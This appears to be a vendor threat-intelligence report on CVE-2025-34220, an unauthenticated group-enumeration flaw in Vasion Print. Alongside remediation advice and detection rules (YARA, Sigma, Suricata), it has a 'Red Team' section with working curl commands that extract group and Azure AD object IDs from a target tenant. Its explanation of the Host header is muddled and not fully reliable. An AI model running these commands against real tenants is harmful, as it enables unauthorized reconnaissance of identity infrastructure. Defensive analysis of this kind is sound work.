CVE-2025-34220
Executive Summary
CVE-2025-34220 is a critical authentication bypass vulnerability in Vasion Print (formerly PrinterLogic) that allows an unauthenticated remote attacker to enumerate all group objects within a tenant. The flaw resides in the /api-gateway/identity/search-groups endpoint, which fails to enforce any authentication mechanism. By sending a crafted request with a modified Host header to the tenant's cloud instance (e.g., https://<tenant>.printercloud10.com/api-gateway/identity/search-groups), an attacker can retrieve sensitive internal identifiers including group IDs, source service IDs, Azure AD object IDs, creation timestamps, and tenant IDs.
This vulnerability is particularly dangerous because it requires no prior access, no credentials, and can be exploited from any network position. The exposed data can be used to map internal directory structures, identify privileged groups, and pivot to more targeted attacks against Azure AD or other identity providers. The vendor has confirmed remediation in the specified versions, but the exact patch timeline remains unclear.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but rather to a proprietary virtual appliance and SaaS application. The supply chain risk is limited to the Vasion Print software itself, which is distributed as a virtual appliance or hosted SaaS. Organizations using the on-premises virtual appliance should verify their version and apply the update immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – only group enumeration, not direct data exfiltration
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated because the exposed data (Azure AD object IDs, tenant IDs) can be used to facilitate more severe attacks such as privilege escalation, lateral movement, or targeted phishing.
Deep Dive & Mechanics
The vulnerability exists in the /api-gateway/identity/search-groups endpoint of the Vasion Print API gateway. This endpoint is designed to allow authenticated users to search for groups within the tenant's identity store. However, the implementation fails to validate the presence or validity of an authentication token before processing the request.
Root Cause: The API gateway does not enforce authentication middleware on the /api-gateway/identity/search-groups route. This is a classic CWE-306 (Missing Authentication for Critical Function) vulnerability.
Exploitation Mechanics:
- The attacker identifies a target tenant's cloud instance (e.g.,
tenant.printercloud10.com). - The attacker sends an HTTP GET request to
https://<tenant>.printercloud10.com/api-gateway/identity/search-groups. - The attacker manipulates the
Hostheader to match the tenant's domain (e.g.,Host: tenant.printercloud10.com). - The server processes the request without authentication and returns a JSON response containing all group objects.
- The response includes:
groupId: Internal group identifiersourceServiceId: ID of the source identity service (e.g., Azure AD)azureAdObjectId: Azure AD object ID for the groupcreatedTimestamp: When the group was createdtenantId: The tenant's unique identifier
Why the Host header matters: The API gateway uses the Host header to route requests to the correct tenant's backend. Without the correct Host header, the request may be rejected or routed to a default tenant. By setting the Host header to the target tenant's domain, the attacker ensures the request is processed in the context of that tenant.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# app/routes/identity.py
from flask import request, jsonify
@app.route('/api-gateway/identity/search-groups', methods=['GET'])
def search_groups():
# Missing authentication check
tenant = extract_tenant_from_host(request.headers.get('Host'))
groups = get_all_groups_for_tenant(tenant)
return jsonify(groups)
Patched Code (Conceptual):
# app/routes/identity.py
from flask import request, jsonify, abort
from auth import require_authentication
@app.route('/api-gateway/identity/search-groups', methods=['GET'])
@require_authentication # Added authentication middleware
def search_groups():
tenant = extract_tenant_from_host(request.headers.get('Host'))
# Only return groups the authenticated user has permission to see
groups = get_authorized_groups_for_user(current_user, tenant)
return jsonify(groups)
The patch adds an authentication decorator (@require_authentication) that validates the user's session token before allowing access to the endpoint. Additionally, the patched version implements authorization checks to ensure the authenticated user can only see groups they are permitted to view.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target Vasion Print tenant (e.g.,
victim.printercloud10.com) - Any HTTP client (curl, Burp Suite, Python requests)
Exploitation Steps:
- Enumerate groups:
curl -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
-H "Host: victim.printercloud10.com" \
-H "User-Agent: Mozilla/5.0"
- Parse the response:
curl -s -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
-H "Host: victim.printercloud10.com" | jq '.'
- Extract Azure AD object IDs for further attacks:
curl -s -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
-H "Host: victim.printercloud10.com" | jq '.[].azureAdObjectId'
Expected Response (truncated):
[
{
"groupId": "g-12345",
"sourceServiceId": "azure-ad-1",
"azureAdObjectId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"createdTimestamp": "2024-01-15T10:30:00Z",
"tenantId": "t-tenant-001"
},
{
"groupId": "g-67890",
"sourceServiceId": "azure-ad-1",
"azureAdObjectId": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"createdTimestamp": "2024-02-20T14:45:00Z",
"tenantId": "t-tenant-001"
}
]
Blue Team
Detection Steps:
- Monitor for requests to
/api-gateway/identity/search-groupsfrom IPs not associated with legitimate users. - Look for anomalous
Hostheader manipulation (e.g., requests withHostheaders that don't match the actual server's domain). - Alert on multiple requests to this endpoint from the same source IP within a short time window.
Honeypot Strategy:
- Deploy a decoy Vasion Print instance with fake group data.
- Monitor for any requests to
/api-gateway/identity/search-groups– any such request is malicious since legitimate users should never need to access this endpoint directly.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api-gateway/identity/search-groupswith no authentication headers - Requests with manipulated
Hostheaders (e.g.,Host: <tenant>.printercloud10.comwhere the actual server is different) - Outbound connections from the Vasion Print server to unknown IPs after exploitation
File IOCs:
- Log entries containing
GET /api-gateway/identity/search-groupswith HTTP status 200 from unauthenticated sources - Web server logs showing repeated requests to this endpoint from the same IP
System IOCs:
- Unusual API calls to Azure AD Graph API using exposed object IDs
- Creation of new user accounts or group memberships shortly after exploitation
Detection Engineering
YARA Rule
rule CVE_2025_34220_Vasion_Print_Group_Enumeration {
meta:
description = "Detects exploitation attempts of CVE-2025-34220 in Vasion Print"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34220"
severity = "high"
strings:
$endpoint = "/api-gateway/identity/search-groups"
$host_header = "Host:"
$json_response = /"groupId":\s*"[^"]+"/
condition:
$endpoint and $host_header and $json_response
}
Sigma Rule
title: CVE-2025-34220 Vasion Print Group Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to the Vasion Print group enumeration endpoint
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-34220
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/api-gateway/identity/search-groups'
sc-status: 200
condition: selection
falsepositives:
- Legitimate internal monitoring tools (rare)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-34220 Vasion Print Group Enumeration Attempt";
flow:to_server;
content:"GET";
http_method;
content:"/api-gateway/identity/search-groups";
http_uri;
content:"Host:";
http_header;
pcre:"/Host:\s*[a-zA-Z0-9.-]+\.printercloud10\.com/Hi";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-34220;
)
Remediation & Mitigation
Immediate Actions:
- Update Vasion Print to version 25.1.102 (Virtual Appliance Host) or 25.1.1413 (Application) or later.
- If immediate patching is not possible, implement a WAF rule to block requests to
/api-gateway/identity/search-groupsfrom untrusted sources. - Review access logs for any prior exploitation attempts.
Long-term Mitigations:
- Implement network segmentation to restrict access to the Vasion Print API gateway.
- Enable detailed logging and monitoring for all API endpoints.
- Conduct a security review of all API endpoints to ensure authentication is enforced.
- Rotate any exposed Azure AD credentials or secrets if exploitation is suspected.
Workaround (if patching is delayed):
- Configure the web server or reverse proxy to require authentication for the
/api-gateway/identity/search-groupspath. - Example Nginx rule:
location /api-gateway/identity/search-groups {
deny all;
return 403;
}
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10